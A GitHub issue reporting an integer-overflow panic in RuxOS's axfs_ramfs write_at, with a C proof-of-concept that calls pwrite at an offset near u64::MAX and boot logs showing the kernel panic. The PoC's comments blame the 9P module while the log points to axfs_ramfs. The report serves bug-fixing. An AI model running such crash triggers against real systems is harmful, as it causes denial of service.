Skip to content

Arithmetic overflow panic in axfs_ramfs::write_at when using large offsets #228

@nuczyc

Description

@nuczyc

Describe the bug

A panic occurs in the axfs_ramfs module when attempting to write to a file with an offset close to u64::MAX. The application crashes with attempt to add with overflow.

if offset + buf.len() > content.len() {

To Reproduce

  1. Compile the program and run.
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <errno.h>
#include <string.h>
#include <stdint.h>

/*
 * PoC for potential arithmetic overflow in RuxOS 9P filesystem write_at function
 * 
 * The crash occurs at:
 * /home/yuchen/RuxOS/ruxos/modules/rux9p/src/fs.rs:626:52
 * let wlen = match dev.twrite(*self.fid, offset + offset_ptr as u64, target_buf) {
 * 
 * Vulnerability: When offset + offset_ptr exceeds u64::MAX, an arithmetic overflow occurs
 * 
 * This PoC attempts to trigger the overflow by:
 * 1. Opening a file (preferably on 9P filesystem)
 * 2. Writing data at a very large offset close to u64::MAX
 * 3. The offset calculation in write_at will overflow
 * 
 * Note: This PoC targets the 9P filesystem implementation in RuxOS.
 * If running on a regular filesystem, the overflow might not be triggered
 * as the write operation may fail earlier in the VFS layer.
 */

int main() {
    const char *filename = "/tmp/test_file";
    const char *data = "trigger_overflow";
    int fd;
    ssize_t written;
    
    // Create/open test file
    fd = open(filename, O_CREAT | O_WRONLY | O_TRUNC, 0644);
    if (fd < 0) {
        perror("open failed");
        return 1;
    }
    
    printf("Attempting to trigger arithmetic overflow in 9P write_at function...\n");
    
    // Use a very large offset close to u64::MAX to trigger overflow
    // When offset_ptr is added to this in the Rust code, it will overflow
    off_t large_offset = (off_t)0xFFFFFFFFFFFFFFFELL; // Close to u64::MAX
    
    printf("Writing %zu bytes at offset 0x%llx\n", strlen(data), (unsigned long long)large_offset);
    
    // Attempt pwrite with large offset
    // This will eventually call write_at in the 9P filesystem implementation
    // where offset + offset_ptr may overflow
    written = pwrite(fd, data, strlen(data), large_offset);
    
    if (written < 0) {
        printf("pwrite failed: %s\n", strerror(errno));
        printf("This is expected if the filesystem doesn't support such large offsets\n");
        printf("or if overflow protection exists in upper layers\n");
    } else {
        printf("pwrite succeeded, wrote %zd bytes\n", written);
        printf("If running on RuxOS with 9P filesystem, this may have triggered the overflow\n");
    }
    
    // Also try with multiple writes to increase offset_ptr in the loop
    printf("\nAttempting multiple writes to increase offset_ptr...\n");
    
    for (int i = 0; i < 3; i++) {
        off_t offset = (off_t)0xFFFFFFFFFFFFFFFELL - i;
        written = pwrite(fd, data, strlen(data), offset);
        if (written < 0) {
            printf("Write %d failed: %s\n", i, strerror(errno));
            break;
        }
        printf("Write %d: %zd bytes at offset 0x%llx\n", i, written, (unsigned long long)offset);
    }
    
    close(fd);
    unlink(filename);
    
    return 0;
}

2.features.txt

alloc
paging
net
multitask
irq
fs

Environment

Logs

SeaBIOS (version 1.16.3-debian-1.16.3-2)


iPXE (https://ipxe.org) 00:03.0 CA00 PCI2.10 PnP PMM+7EFCAA40+7EF0AA40 CA00
                                                                               


Booting from ROM..
Initialize IDT & GDT...

8888888b.                     .d88888b.   .d8888b.
888   Y88b                   d88P" "Y88b d88P  Y88b
888    888                   888     888 Y88b.
888   d88P 888  888 888  888 888     888  "Y888b.
8888888P"  888  888 `Y8bd8P' 888     888     "Y88b.
888 T88b   888  888   X88K   888     888       "888
888  T88b  Y88b 888 .d8""8b. Y88b. .d88P Y88b  d88P
888   T88b  "Y88888 888  888  "Y88888P"   "Y8888P"

arch = x86_64
platform = x86_64-qemu-q35
target = x86_64-unknown-none
smp = 1
build_mode = debug
log_level = warn

[  0.187108 0 axfs_ramfs::dir:68] AlreadyExists sys
Attempting to trigger arithmetic overflow in 9P write_at function...
Writing 16 bytes at offset 0xfffffffffffffffe
[  0.188253 0:1 ruxruntime::lang_items:14] panicked at crates/axfs_ramfs/src/file.rs:73:12:
attempt to add with overflow

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions